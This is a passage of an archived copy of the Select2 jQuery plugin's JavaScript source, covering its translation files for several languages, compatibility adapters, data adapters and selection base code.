message; }, loadingMore: function () { return 'Загрузка данных…'; }, maximumSelected: function (args) { var message = 'Вы можете выбрать не более ' + args.maximum + ' элемент'; message += ending(args.maximum, '', 'a', 'ов'); return message; }, noResults: function () { return 'Совпадений не найдено'; }, searching: function () { return 'Поиск…'; } }; }); js/select2/i18n/zh-CN.js000064400000001620151677313660010573 0ustar00define(function () { // Chinese (Simplified) return { errorLoading: function () { return '无法载入结果。'; }, inputTooLong: function (args) { var overChars = args.input.length - args.maximum; var message = '请删除' + overChars + '个字符'; return message; }, inputTooShort: function (args) { var remainingChars = args.minimum - args.input.length; var message = '请再输入至少' + remainingChars + '个字符'; return message; }, loadingMore: function () { return '载入更多结果…'; }, maximumSelected: function (args) { var message = '最多只能选择' + args.maximum + '个项目'; return message; }, noResults: function () { return '未找到结果'; }, searching: function () { return '搜索中…'; } }; }); js/select2/i18n/dsb.js000064400000002713151677313660010430 0ustar00define(function () { // Lower Sorbian var charsWords = ['znamuško', 'znamušce', 'znamuška','znamuškow']; var itemsWords = ['zapisk', 'zapiska', 'zapiski','zapiskow']; var pluralWord = function pluralWord(numberOfChars, words) { if (numberOfChars === 1) { return words[0]; } else if (numberOfChars === 2) { return words[1]; } else if (numberOfChars > 2 && numberOfChars <= 4) { return words[2]; } else if (numberOfChars >= 5) { return words[3]; } }; return { errorLoading: function () { return 'Wuslědki njejsu se dali zacytaś.'; }, inputTooLong: function (args) { var overChars = args.input.length - args.maximum; return 'Pšosym lašuj ' + overChars + ' ' + pluralWord(overChars, charsWords); }, inputTooShort: function (args) { var remainingChars = args.minimum - args.input.length; return 'Pšosym zapódaj nanejmjenjej ' + remainingChars + ' ' + pluralWord(remainingChars, charsWords); }, loadingMore: function () { return 'Dalšne wuslědki se zacytaju…'; }, maximumSelected: function (args) { return 'Móžoš jano ' + args.maximum + ' ' + pluralWord(args.maximum, itemsWords) + 'wubraś.'; }, noResults: function () { return 'Žedne wuslědki namakane'; }, searching: function () { return 'Pyta se…'; } }; }); js/select2/i18n/ko.js000064400000001732151677313660010271 0ustar00define(function () { // Korean return { errorLoading: function () { return '결과를 불러올 수 없습니다.'; }, inputTooLong: function (args) { var overChars = args.input.length - args.maximum; var message = '너무 깁니다. ' + overChars + ' 글자 지워주세요.'; return message; }, inputTooShort: function (args) { var remainingChars = args.minimum - args.input.length; var message = '너무 짧습니다. ' + remainingChars + ' 글자 더 입력해주세요.'; return message; }, loadingMore: function () { return '불러오는 중…'; }, maximumSelected: function (args) { var message = '최대 ' + args.maximum + '개까지만 선택 가능합니다.'; return message; }, noResults: function () { return '결과가 없습니다.'; }, searching: function () { return '검색 중…'; } }; }); js/select2/i18n/uk.js000064400000002606151677313660010300 0ustar00define(function () { // Ukranian function ending (count, one, couple, more) { if (count % 100 > 10 && count % 100 < 15) { return more; } if (count % 10 === 1) { return one; } if (count % 10 > 1 && count % 10 < 5) { return couple; } return more; } return { errorLoading: function () { return 'Неможливо завантажити результати'; }, inputTooLong: function (args) { var overChars = args.input.length - args.maximum; return 'Будь ласка, видаліть ' + overChars + ' ' + ending(args.maximum, 'літеру', 'літери', 'літер'); }, inputTooShort: function (args) { var remainingChars = args.minimum - args.input.length; return 'Будь ласка, введіть ' + remainingChars + ' або більше літер'; }, loadingMore: function () { return 'Завантаження інших результатів…'; }, maximumSelected: function (args) { return 'Ви можете вибрати лише ' + args.maximum + ' ' + ending(args.maximum, 'пункт', 'пункти', 'пунктів'); }, noResults: function () { return 'Нічого не знайдено'; }, searching: function () { return 'Пошук…'; } }; }); js/select2/i18n/hi.js000064400000002441151677313660010256 0ustar00define(function () { // Hindi return { errorLoading: function () { return 'परिणामों को लोड नहीं किया जा सका।'; }, inputTooLong: function (args) { var overChars = args.input.length - args.maximum; var message = overChars + ' अक्षर को हटा दें'; if (overChars > 1) { message = overChars + ' अक्षरों को हटा दें '; } return message; }, inputTooShort: function (args) { var remainingChars = args.minimum - args.input.length; var message = 'कृपया ' + remainingChars + ' या अधिक अक्षर दर्ज करें'; return message; }, loadingMore: function () { return 'अधिक परिणाम लोड हो रहे है...'; }, maximumSelected: function (args) { var message = 'आप केवल ' + args.maximum + ' आइटम का चयन कर सकते हैं'; return message; }, noResults: function () { return 'कोई परिणाम नहीं मिला'; }, searching: function () { return 'खोज रहा है...'; } }; }); js/select2/i18n/km.js000064400000002254151677313660010267 0ustar00define(function () { // Khmer return { errorLoading: function () { return 'មិនអាចទាញយកទិន្នន័យ'; }, inputTooLong: function (args) { var overChars = args.input.length - args.maximum; var message = 'សូមលុបចេញ ' + overChars + ' អក្សរ'; return message; }, inputTooShort: function (args) { var remainingChars = args.minimum - args.input.length; var message = 'សូមបញ្ចូល' + remainingChars + ' អក្សរ រឺ ច្រើនជាងនេះ'; return message; }, loadingMore: function () { return 'កំពុងទាញយកទិន្នន័យបន្ថែម...'; }, maximumSelected: function (args) { var message = 'អ្នកអាចជ្រើសរើសបានតែ ' + args.maximum + ' ជម្រើសប៉ុណ្ណោះ'; return message; }, noResults: function () { return 'មិនមានលទ្ធផល'; }, searching: function () { return 'កំពុងស្វែងរក...'; } }; }); js/select2/i18n/lt.js000064400000002626151677313660010302 0ustar00define(function () { // rules from // http://www.unicode.org/cldr/charts/latest/supplemental/language_plural_rules.html#lt function ending(count, one, few, other) { if (count % 10 === 1 && (count % 100 < 11 || count % 100 > 19)) { return one; } else if ( (count % 10 >= 2 && count % 10 <= 9) && (count % 100 < 11 || count % 100 > 19)) { return few; } else { return other; } } return { inputTooLong: function (args) { var overChars = args.input.length - args.maximum; var message = 'Pašalinkite ' + overChars + ' simbol'; message += ending(overChars, 'į', 'ius', 'ių'); return message; }, inputTooShort: function (args) { var remainingChars = args.minimum - args.input.length; var message = 'Įrašykite dar ' + remainingChars + ' simbol'; message += ending(remainingChars, 'į', 'ius', 'ių'); return message; }, loadingMore: function () { return 'Kraunama daugiau rezultatų…'; }, maximumSelected: function (args) { var message = 'Jūs galite pasirinkti tik ' + args.maximum + ' element'; message += ending(args.maximum, 'ą', 'us', 'ų'); return message; }, noResults: function () { return 'Atitikmenų nerasta'; }, searching: function () { return 'Ieškoma…'; } }; }); js/select2/i18n/tr.js000064400000001607151677313660010306 0ustar00define(function () { // Turkish return { errorLoading: function (){ return 'Sonuç yüklenemedi'; }, inputTooLong: function (args) { var overChars = args.input.length - args.maximum; var message = overChars + ' karakter daha girmelisiniz'; return message; }, inputTooShort: function (args) { var remainingChars = args.minimum - args.input.length; var message = 'En az ' + remainingChars + ' karakter daha girmelisiniz'; return message; }, loadingMore: function () { return 'Daha fazla…'; }, maximumSelected: function (args) { var message = 'Sadece ' + args.maximum + ' seçim yapabilirsiniz'; return message; }, noResults: function () { return 'Sonuç bulunamadı'; }, searching: function () { return 'Aranıyor…'; } }; }); js/select2/i18n/az.js000064400000001332151677313660010266 0ustar00define(function () { // Azerbaijani return { inputTooLong: function (args) { var overChars = args.input.length - args.maximum; return overChars + ' simvol silin'; }, inputTooShort: function (args) { var remainingChars = args.minimum - args.input.length; return remainingChars + ' simvol daxil edin'; }, loadingMore: function () { return 'Daha çox nəticə yüklənir…'; }, maximumSelected: function (args) { return 'Sadəcə ' + args.maximum + ' element seçə bilərsiniz'; }, noResults: function () { return 'Nəticə tapılmadı'; }, searching: function () { return 'Axtarılır…'; } }; }); js/select2/compat/utils.js000064400000001766151677313660011533 0ustar00define([ 'jquery' ], function ($) { function syncCssClasses ($dest, $src, adapter) { var classes, replacements = [], adapted; classes = $.trim($dest.attr('class')); if (classes) { classes = '' + classes; // for IE which returns object $(classes.split(/\s+/)).each(function () { // Save all Select2 classes if (this.indexOf('select2-') === 0) { replacements.push(this); } }); } classes = $.trim($src.attr('class')); if (classes) { classes = '' + classes; // for IE which returns object $(classes.split(/\s+/)).each(function () { // Only adapt non-Select2 classes if (this.indexOf('select2-') !== 0) { adapted = adapter(this); if (adapted != null) { replacements.push(adapted); } } }); } $dest.attr('class', replacements.join(' ')); } return { syncCssClasses: syncCssClasses }; }); js/select2/compat/matcher.js000064400000001745151677313660012013 0ustar00define([ 'jquery' ], function ($) { function oldMatcher (matcher) { function wrappedMatcher (params, data) { var match = $.extend(true, {}, data); if (params.term == null || $.trim(params.term) === '') { return match; } if (data.children) { for (var c = data.children.length - 1; c >= 0; c--) { var child = data.children[c]; // Check if the child object matches // The old matcher returned a boolean true or false var doesMatch = matcher(params.term, child.text, child); // If the child didn't match, pop it off if (!doesMatch) { match.children.splice(c, 1); } } if (match.children.length > 0) { return match; } } if (matcher(params.term, data.text, data)) { return match; } return null; } return wrappedMatcher; } return oldMatcher; }); js/select2/compat/containerCss.js000064400000002747151677313660013026 0ustar00define([ 'jquery', './utils' ], function ($, CompatUtils) { // No-op CSS adapter that discards all classes by default function _containerAdapter (clazz) { return null; } function ContainerCSS () { } ContainerCSS.prototype.render = function (decorated) { var $container = decorated.call(this); var containerCssClass = this.options.get('containerCssClass') || ''; if ($.isFunction(containerCssClass)) { containerCssClass = containerCssClass(this.$element); } var containerCssAdapter = this.options.get('adaptContainerCssClass'); containerCssAdapter = containerCssAdapter || _containerAdapter; if (containerCssClass.indexOf(':all:') !== -1) { containerCssClass = containerCssClass.replace(':all:', ''); var _cssAdapter = containerCssAdapter; containerCssAdapter = function (clazz) { var adapted = _cssAdapter(clazz); if (adapted != null) { // Append the old one along with the adapted one return adapted + ' ' + clazz; } return clazz; }; } var containerCss = this.options.get('containerCss') || {}; if ($.isFunction(containerCss)) { containerCss = containerCss(this.$element); } CompatUtils.syncCssClasses($container, this.$element, containerCssAdapter); $container.css(containerCss); $container.addClass(containerCssClass); return $container; }; return ContainerCSS; }); js/select2/compat/initSelection.js000064400000002213151677313660013170 0ustar00define([ 'jquery' ], function ($) { function InitSelection (decorated, $element, options) { if (options.get('debug') && window.console && console.warn) { console.warn( 'Select2: The `initSelection` option has been deprecated in favor' + ' of a custom data adapter that overrides the `current` method. ' + 'This method is now called multiple times instead of a single ' + 'time when the instance is initialized. Support will be removed ' + 'for the `initSelection` option in future versions of Select2' ); } this.initSelection = options.get('initSelection'); this._isInitialized = false; decorated.call(this, $element, options); } InitSelection.prototype.current = function (decorated, callback) { var self = this; if (this._isInitialized) { decorated.call(this, callback); return; } this.initSelection.call(null, this.$element, function (data) { self._isInitialized = true; if (!$.isArray(data)) { data = [data]; } callback(data); }); }; return InitSelection; }); js/select2/compat/query.js000064400000001263151677313660011530 0ustar00define([ ], function () { function Query (decorated, $element, options) { if (options.get('debug') && window.console && console.warn) { console.warn( 'Select2: The `query` option has been deprecated in favor of a ' + 'custom data adapter that overrides the `query` method. Support ' + 'will be removed for the `query` option in future versions of ' + 'Select2.' ); } decorated.call(this, $element, options); } Query.prototype.query = function (_, params, callback) { params.callback = callback; var query = this.options.get('query'); query.call(null, params); }; return Query; }); js/select2/compat/dropdownCss.js000064400000002707151677313660012674 0ustar00define([ 'jquery', './utils' ], function ($, CompatUtils) { // No-op CSS adapter that discards all classes by default function _dropdownAdapter (clazz) { return null; } function DropdownCSS () { } DropdownCSS.prototype.render = function (decorated) { var $dropdown = decorated.call(this); var dropdownCssClass = this.options.get('dropdownCssClass') || ''; if ($.isFunction(dropdownCssClass)) { dropdownCssClass = dropdownCssClass(this.$element); } var dropdownCssAdapter = this.options.get('adaptDropdownCssClass'); dropdownCssAdapter = dropdownCssAdapter || _dropdownAdapter; if (dropdownCssClass.indexOf(':all:') !== -1) { dropdownCssClass = dropdownCssClass.replace(':all:', ''); var _cssAdapter = dropdownCssAdapter; dropdownCssAdapter = function (clazz) { var adapted = _cssAdapter(clazz); if (adapted != null) { // Append the old one along with the adapted one return adapted + ' ' + clazz; } return clazz; }; } var dropdownCss = this.options.get('dropdownCss') || {}; if ($.isFunction(dropdownCss)) { dropdownCss = dropdownCss(this.$element); } CompatUtils.syncCssClasses($dropdown, this.$element, dropdownCssAdapter); $dropdown.css(dropdownCss); $dropdown.addClass(dropdownCssClass); return $dropdown; }; return DropdownCSS; }); js/select2/compat/inputData.js000064400000006051151677313660012314 0ustar00define([ 'jquery', '../utils' ], function ($, Utils) { function InputData (decorated, $element, options) { this._currentData = []; this._valueSeparator = options.get('valueSeparator') || ','; if ($element.prop('type') === 'hidden') { if (options.get('debug') && console && console.warn) { console.warn( 'Select2: Using a hidden input with Select2 is no longer ' + 'supported and may stop working in the future. It is recommended ' + 'to use a `<select>` element instead.' ); } } decorated.call(this, $element, options); } InputData.prototype.current = function (_, callback) { function getSelected (data, selectedIds) { var selected = []; if (data.selected || $.inArray(data.id, selectedIds) !== -1) { data.selected = true; selected.push(data); } else { data.selected = false; } if (data.children) { selected.push.apply(selected, getSelected(data.children, selectedIds)); } return selected; } var selected = []; for (var d = 0; d < this._currentData.length; d++) { var data = this._currentData[d]; selected.push.apply( selected, getSelected( data, this.$element.val().split( this._valueSeparator ) ) ); } callback(selected); }; InputData.prototype.select = function (_, data) { if (!this.options.get('multiple')) { this.current(function (allData) { $.map(allData, function (data) { data.selected = false; }); }); this.$element.val(data.id); this.$element.trigger('change'); } else { var value = this.$element.val(); value += this._valueSeparator + data.id; this.$element.val(value); this.$element.trigger('change'); } }; InputData.prototype.unselect = function (_, data) { var self = this; data.selected = false; this.current(function (allData) { var values = []; for (var d = 0; d < allData.length; d++) { var item = allData[d]; if (data.id == item.id) { continue; } values.push(item.id); } self.$element.val(values.join(self._valueSeparator)); self.$element.trigger('change'); }); }; InputData.prototype.query = function (_, params, callback) { var results = []; for (var d = 0; d < this._currentData.length; d++) { var data = this._currentData[d]; var matches = this.matches(params, data); if (matches !== null) { results.push(matches); } } callback({ results: results }); }; InputData.prototype.addOptions = function (_, $options) { var options = $.map($options, function ($option) { return Utils.GetData($option[0], 'data'); }); this._currentData.push.apply(this._currentData, options); }; return InputData; }); js/select2/keys.js000064400000000524151677313660010052 0ustar00define([ ], function () { var KEYS = { BACKSPACE: 8, TAB: 9, ENTER: 13, SHIFT: 16, CTRL: 17, ALT: 18, ESC: 27, SPACE: 32, PAGE_UP: 33, PAGE_DOWN: 34, END: 35, HOME: 36, LEFT: 37, UP: 38, RIGHT: 39, DOWN: 40, DELETE: 46 }; return KEYS; }); js/select2/translation.js000064400000001361151677313660011435 0ustar00define([ 'jquery', 'require' ], function ($, require) { function Translation (dict) { this.dict = dict || {}; } Translation.prototype.all = function () { return this.dict; }; Translation.prototype.get = function (key) { return this.dict[key]; }; Translation.prototype.extend = function (translation) { this.dict = $.extend({}, translation.all(), this.dict); }; // Static functions Translation._cache = {}; Translation.loadPath = function (path) { if (!(path in Translation._cache)) { var translations = require(path); Translation._cache[path] = translations; } return new Translation(Translation._cache[path]); }; return Translation; }); js/select2/dropdown.js000064400000001660151677313660010735 0ustar00define([ 'jquery', './utils' ], function ($, Utils) { function Dropdown ($element, options) { this.$element = $element; this.options = options; Dropdown.__super__.constructor.call(this); } Utils.Extend(Dropdown, Utils.Observable); Dropdown.prototype.render = function () { var $dropdown = $( '<span class="select2-dropdown">' + '<span class="select2-results"></span>' + '</span>' ); $dropdown.attr('dir', this.options.get('dir')); this.$dropdown = $dropdown; return $dropdown; }; Dropdown.prototype.bind = function () { // Should be implemented in subclasses }; Dropdown.prototype.position = function ($dropdown, $container) { // Should be implmented in subclasses }; Dropdown.prototype.destroy = function () { // Remove the dropdown from the DOM this.$dropdown.remove(); }; return Dropdown; }); js/select2/data/base.js000064400000002025151677313660010720 0ustar00define([ '../utils' ], function (Utils) { function BaseAdapter ($element, options) { BaseAdapter.__super__.constructor.call(this); } Utils.Extend(BaseAdapter, Utils.Observable); BaseAdapter.prototype.current = function (callback) { throw new Error('The `current` method must be defined in child classes.'); }; BaseAdapter.prototype.query = function (params, callback) { throw new Error('The `query` method must be defined in child classes.'); }; BaseAdapter.prototype.bind = function (container, $container) { // Can be implemented in subclasses }; BaseAdapter.prototype.destroy = function () { // Can be implemented in subclasses }; BaseAdapter.prototype.generateResultId = function (container, data) { var id = container.id + '-result-'; id += Utils.generateChars(4); if (data.id != null) { id += '-' + data.id.toString(); } else { id += '-' + Utils.generateChars(4); } return id; }; return BaseAdapter; }); js/select2/data/ajax.js000064400000005670151677313660010742 0ustar00define([ './array', '../utils', 'jquery' ], function (ArrayAdapter, Utils, $) { function AjaxAdapter ($element, options) { this.ajaxOptions = this._applyDefaults(options.get('ajax')); if (this.ajaxOptions.processResults != null) { this.processResults = this.ajaxOptions.processResults; } AjaxAdapter.__super__.constructor.call(this, $element, options); } Utils.Extend(AjaxAdapter, ArrayAdapter); AjaxAdapter.prototype._applyDefaults = function (options) { var defaults = { data: function (params) { return $.extend({}, params, { q: params.term }); }, transport: function (params, success, failure) { var $request = $.ajax(params); $request.then(success); $request.fail(failure); return $request; } }; return $.extend({}, defaults, options, true); }; AjaxAdapter.prototype.processResults = function (results) { return results; }; AjaxAdapter.prototype.query = function (params, callback) { var matches = []; var self = this; if (this._request != null) { // JSONP requests cannot always be aborted if ($.isFunction(this._request.abort)) { this._request.abort(); } this._request = null; } var options = $.extend({ type: 'GET' }, this.ajaxOptions); if (typeof options.url === 'function') { options.url = options.url.call(this.$element, params); } if (typeof options.data === 'function') { options.data = options.data.call(this.$element, params); } function request () { var $request = options.transport(options, function (data) { var results = self.processResults(data, params); if (self.options.get('debug') && window.console && console.error) { // Check to make sure that the response included a `results` key. if (!results || !results.results || !$.isArray(results.results)) { console.error( 'Select2: The AJAX results did not return an array in the ' + '`results` key of the response.' ); } } callback(results); }, function () { // Attempt to detect if a request was aborted // Only works if the transport exposes a status property if ('status' in $request && ($request.status === 0 || $request.status === '0')) { return; } self.trigger('results:message', { message: 'errorLoading' }); }); self._request = $request; } if (this.ajaxOptions.delay && params.term != null) { if (this._queryTimeout) { window.clearTimeout(this._queryTimeout); } this._queryTimeout = window.setTimeout(request, this.ajaxOptions.delay); } else { request(); } }; return AjaxAdapter; }); js/select2/data/array.js000064400000003727151677313660011136 0ustar00define([ './select', '../utils', 'jquery' ], function (SelectAdapter, Utils, $) { function ArrayAdapter ($element, options) { var data = options.get('data') || []; ArrayAdapter.__super__.constructor.call(this, $element, options); this.addOptions(this.convertToOptions(data)); } Utils.Extend(ArrayAdapter, SelectAdapter); ArrayAdapter.prototype.select = function (data) { var $option = this.$element.find('option').filter(function (i, elm) { return elm.value == data.id.toString(); }); if ($option.length === 0) { $option = this.option(data); this.addOptions($option); } ArrayAdapter.__super__.select.call(this, data); }; ArrayAdapter.prototype.convertToOptions = function (data) { var self = this; var $existing = this.$element.find('option'); var existingIds = $existing.map(function () { return self.item($(this)).id; }).get(); var $options = []; // Filter out all items except for the one passed in the argument function onlyItem (item) { return function () { return $(this).val() == item.id; }; } for (var d = 0; d < data.length; d++) { var item = this._normalizeItem(data[d]); // Skip items which were pre-loaded, only merge the data if ($.inArray(item.id, existingIds) >= 0) { var $existingOption = $existing.filter(onlyItem(item)); var existingData = this.item($existingOption); var newData = $.extend(true, {}, item, existingData); var $newOption = this.option(newData); $existingOption.replaceWith($newOption); continue; } var $option = this.option(item); if (item.children) { var $children = this.convertToOptions(item.children); Utils.appendMany($option, $children); } $options.push($option); } return $options; }; return ArrayAdapter; }); js/select2/data/tokenizer.js000064400000005517151677313660012031 0ustar00define([ 'jquery' ], function ($) { function Tokenizer (decorated, $element, options) { var tokenizer = options.get('tokenizer'); if (tokenizer !== undefined) { this.tokenizer = tokenizer; } decorated.call(this, $element, options); } Tokenizer.prototype.bind = function (decorated, container, $container) { decorated.call(this, container, $container); this.$search = container.dropdown.$search || container.selection.$search || $container.find('.select2-search__field'); }; Tokenizer.prototype.query = function (decorated, params, callback) { var self = this; function createAndSelect (data) { // Normalize the data object so we can use it for checks var item = self._normalizeItem(data); // Check if the data object already exists as a tag // Select it if it doesn't var $existingOptions = self.$element.find('option').filter(function () { return $(this).val() === item.id; }); // If an existing option wasn't found for it, create the option if (!$existingOptions.length) { var $option = self.option(item); $option.attr('data-select2-tag', true); self._removeOldTags(); self.addOptions([$option]); } // Select the item, now that we know there is an option for it select(item); } function select (data) { self.trigger('select', { data: data }); } params.term = params.term || ''; var tokenData = this.tokenizer(params, this.options, createAndSelect); if (tokenData.term !== params.term) { // Replace the search term if we have the search box if (this.$search.length) { this.$search.val(tokenData.term); this.$search.focus(); } params.term = tokenData.term; } decorated.call(this, params, callback); }; Tokenizer.prototype.tokenizer = function (_, params, options, callback) { var separators = options.get('tokenSeparators') || []; var term = params.term; var i = 0; var createTag = this.createTag || function (params) { return { id: params.term, text: params.term }; }; while (i < term.length) { var termChar = term[i]; if ($.inArray(termChar, separators) === -1) { i++; continue; } var part = term.substr(0, i); var partParams = $.extend({}, params, { term: part }); var data = createTag(partParams); if (data == null) { i++; continue; } callback(data); // Reset the term to not include the tokenized portion term = term.substr(i + 1) || ''; i = 0; } return { term: term }; }; return Tokenizer; }); js/select2/data/tags.js000064400000005146151677313660010753 0ustar00define([ 'jquery' ], function ($) { function Tags (decorated, $element, options) { var tags = options.get('tags'); var createTag = options.get('createTag'); if (createTag !== undefined) { this.createTag = createTag; } var insertTag = options.get('insertTag'); if (insertTag !== undefined) { this.insertTag = insertTag; } decorated.call(this, $element, options); if ($.isArray(tags)) { for (var t = 0; t < tags.length; t++) { var tag = tags[t]; var item = this._normalizeItem(tag); var $option = this.option(item); this.$element.append($option); } } } Tags.prototype.query = function (decorated, params, callback) { var self = this; this._removeOldTags(); if (params.term == null || params.page != null) { decorated.call(this, params, callback); return; } function wrapper (obj, child) { var data = obj.results; for (var i = 0; i < data.length; i++) { var option = data[i]; var checkChildren = ( option.children != null && !wrapper({ results: option.children }, true) ); var optionText = (option.text || '').toUpperCase(); var paramsTerm = (params.term || '').toUpperCase(); var checkText = optionText === paramsTerm; if (checkText || checkChildren) { if (child) { return false; } obj.data = data; callback(obj); return; } } if (child) { return true; } var tag = self.createTag(params); if (tag != null) { var $option = self.option(tag); $option.attr('data-select2-tag', true); self.addOptions([$option]); self.insertTag(data, tag); } obj.results = data; callback(obj); } decorated.call(this, params, wrapper); }; Tags.prototype.createTag = function (decorated, params) { var term = $.trim(params.term); if (term === '') { return null; } return { id: term, text: term }; }; Tags.prototype.insertTag = function (_, data, tag) { data.unshift(tag); }; Tags.prototype._removeOldTags = function (_) { var tag = this._lastTag; var $options = this.$element.find('option[data-select2-tag]'); $options.each(function () { if (this.selected) { return; } $(this).remove(); }); }; return Tags; }); js/select2/data/select.js000064400000014136151677313660011273 0ustar00define([ './base', '../utils', 'jquery' ], function (BaseAdapter, Utils, $) { function SelectAdapter ($element, options) { this.$element = $element; this.options = options; SelectAdapter.__super__.constructor.call(this); } Utils.Extend(SelectAdapter, BaseAdapter); SelectAdapter.prototype.current = function (callback) { var data = []; var self = this; this.$element.find(':selected').each(function () { var $option = $(this); var option = self.item($option); data.push(option); }); callback(data); }; SelectAdapter.prototype.select = function (data) { var self = this; data.selected = true; // If data.element is a DOM node, use it instead if ($(data.element).is('option')) { data.element.selected = true; this.$element.trigger('change'); return; } if (this.$element.prop('multiple')) { this.current(function (currentData) { var val = []; data = [data]; data.push.apply(data, currentData); for (var d = 0; d < data.length; d++) { var id = data[d].id; if ($.inArray(id, val) === -1) { val.push(id); } } self.$element.val(val); self.$element.trigger('change'); }); } else { var val = data.id; this.$element.val(val); this.$element.trigger('change'); } }; SelectAdapter.prototype.unselect = function (data) { var self = this; if (!this.$element.prop('multiple')) { return; } data.selected = false; if ($(data.element).is('option')) { data.element.selected = false; this.$element.trigger('change'); return; } this.current(function (currentData) { var val = []; for (var d = 0; d < currentData.length; d++) { var id = currentData[d].id; if (id !== data.id && $.inArray(id, val) === -1) { val.push(id); } } self.$element.val(val); self.$element.trigger('change'); }); }; SelectAdapter.prototype.bind = function (container, $container) { var self = this; this.container = container; container.on('select', function (params) { self.select(params.data); }); container.on('unselect', function (params) { self.unselect(params.data); }); }; SelectAdapter.prototype.destroy = function () { // Remove anything added to child elements this.$element.find('*').each(function () { // Remove any custom data set by Select2 Utils.RemoveData(this); }); }; SelectAdapter.prototype.query = function (params, callback) { var data = []; var self = this; var $options = this.$element.children(); $options.each(function () { var $option = $(this); if (!$option.is('option') && !$option.is('optgroup')) { return; } var option = self.item($option); var matches = self.matches(params, option); if (matches !== null) { data.push(matches); } }); callback({ results: data }); }; SelectAdapter.prototype.addOptions = function ($options) { Utils.appendMany(this.$element, $options); }; SelectAdapter.prototype.option = function (data) { var option; if (data.children) { option = document.createElement('optgroup'); option.label = data.text; } else { option = document.createElement('option'); if (option.textContent !== undefined) { option.textContent = data.text; } else { option.innerText = data.text; } } if (data.id !== undefined) { option.value = data.id; } if (data.disabled) { option.disabled = true; } if (data.selected) { option.selected = true; } if (data.title) { option.title = data.title; } var $option = $(option); var normalizedData = this._normalizeItem(data); normalizedData.element = option; // Override the option's data with the combined data Utils.StoreData(option, 'data', normalizedData); return $option; }; SelectAdapter.prototype.item = function ($option) { var data = {}; data = Utils.GetData($option[0], 'data'); if (data != null) { return data; } if ($option.is('option')) { data = { id: $option.val(), text: $option.text(), disabled: $option.prop('disabled'), selected: $option.prop('selected'), title: $option.prop('title') }; } else if ($option.is('optgroup')) { data = { text: $option.prop('label'), children: [], title: $option.prop('title') }; var $children = $option.children('option'); var children = []; for (var c = 0; c < $children.length; c++) { var $child = $($children[c]); var child = this.item($child); children.push(child); } data.children = children; } data = this._normalizeItem(data); data.element = $option[0]; Utils.StoreData($option[0], 'data', data); return data; }; SelectAdapter.prototype._normalizeItem = function (item) { if (item !== Object(item)) { item = { id: item, text: item }; } item = $.extend({}, { text: '' }, item); var defaults = { selected: false, disabled: false }; if (item.id != null) { item.id = item.id.toString(); } if (item.text != null) { item.text = item.text.toString(); } if (item._resultId == null && item.id && this.container != null) { item._resultId = this.generateResultId(this.container, item); } return $.extend({}, defaults, item); }; SelectAdapter.prototype.matches = function (params, data) { var matcher = this.options.get('matcher'); return matcher(params, data); }; return SelectAdapter; }); js/select2/data/minimumInputLength.js000064400000001310151677313660013637 0ustar00define([ ], function () { function MinimumInputLength (decorated, $e, options) { this.minimumInputLength = options.get('minimumInputLength'); decorated.call(this, $e, options); } MinimumInputLength.prototype.query = function (decorated, params, callback) { params.term = params.term || ''; if (params.term.length < this.minimumInputLength) { this.trigger('results:message', { message: 'inputTooShort', args: { minimum: this.minimumInputLength, input: params.term, params: params } }); return; } decorated.call(this, params, callback); }; return MinimumInputLength; }); js/select2/data/maximumInputLength.js000064400000001357151677313660013654 0ustar00define([ ], function () { function MaximumInputLength (decorated, $e, options) { this.maximumInputLength = options.get('maximumInputLength'); decorated.call(this, $e, options); } MaximumInputLength.prototype.query = function (decorated, params, callback) { params.term = params.term || ''; if (this.maximumInputLength > 0 && params.term.length > this.maximumInputLength) { this.trigger('results:message', { message: 'inputTooLong', args: { maximum: this.maximumInputLength, input: params.term, params: params } }); return; } decorated.call(this, params, callback); }; return MaximumInputLength; }); js/select2/data/maximumSelectionLength.js000064400000001543151677313660014477 0ustar00define([ ], function (){ function MaximumSelectionLength (decorated, $e, options) { this.maximumSelectionLength = options.get('maximumSelectionLength'); decorated.call(this, $e, options); } MaximumSelectionLength.prototype.query = function (decorated, params, callback) { var self = this; this.current(function (currentData) { var count = currentData != null ? currentData.length : 0; if (self.maximumSelectionLength > 0 && count >= self.maximumSelectionLength) { self.trigger('results:message', { message: 'maximumSelected', args: { maximum: self.maximumSelectionLength } }); return; } decorated.call(self, params, callback); }); }; return MaximumSelectionLength; }); js/select2/selection/base.js000064400000010604151677313660011776 0ustar00define([ 'jquery', '../utils', '../keys' ], function ($, Utils, KEYS) { function BaseSelection ($element, options) { this.$element = $element; this.options = options; BaseSelection.__super__.constructor.call(this); } Utils.Extend(BaseSelection, Utils.Observable); BaseSelection.prototype.render = function () { var $selection = $( '<span class="select2-selection" role="combobox" ' + ' aria-haspopup="true" aria-expanded="false">' + '</span>' ); this._tabindex = 0; if (Utils.GetData(this.$element[0], 'old-tabindex') != null) { this._tabindex = Utils.GetData(this.$element[0], 'old-tabindex'); } else if (this.$element.attr('tabindex') != null) { this._tabindex = this.$element.attr('tabindex'); } $selection.attr('title', this.$element.attr('title')); $selection.attr('tabindex', this._tabindex); this.$selection = $selection; return $selection; }; BaseSelection.prototype.bind = function (container, $container) { var self = this; var id = container.id + '-container'; var resultsId = container.id + '-results'; this.container = container; this.$selection.on('focus', function (evt) { self.trigger('focus', evt); }); this.$selection.on('blur', function (evt) { self._handleBlur(evt); }); this.$selection.on('keydown', function (evt) { self.trigger('keypress', evt); if (evt.which === KEYS.SPACE) { evt.preventDefault(); } }); container.on('results:focus', function (params) { self.$selection.attr('aria-activedescendant', params.data._resultId); }); container.on('selection:update', function (params) { self.update(params.data); }); container.on('open', function () { // When the dropdown is open, aria-expanded="true" self.$selection.attr('aria-expanded', 'true'); self.$selection.attr('aria-owns', resultsId); self._attachCloseHandler(container); }); container.on('close', function () { // When the dropdown is closed, aria-expanded="false" self.$selection.attr('aria-expanded', 'false'); self.$selection.removeAttr('aria-activedescendant'); self.$selection.removeAttr('aria-owns'); self.$selection.focus(); window.setTimeout(function () { self.$selection.focus(); }, 0); self._detachCloseHandler(container); }); container.on('enable', function () { self.$selection.attr('tabindex', self._tabindex); }); container.on('disable', function () { self.$selection.attr('tabindex', '-1'); }); }; BaseSelection.prototype._handleBlur = function (evt) { var self = this; // This needs to be delayed as the active element is the body when the tab // key is pressed, possibly along with others. window.setTimeout(function () { // Don't trigger `blur` if the focus is still in the selection if ( (document.activeElement == self.$selection[0]) || ($.contains(self.$selection[0], document.activeElement)) ) { return; } self.trigger('blur', evt); }, 1); }; BaseSelection.prototype._attachCloseHandler = function (container) { var self = this; $(document.body).on('mousedown.select2.' + container.id, function (e) { var $target = $(e.target); var $select = $target.closest('.select2'); var $all = $('.select2.select2-container--open'); $all.each(function 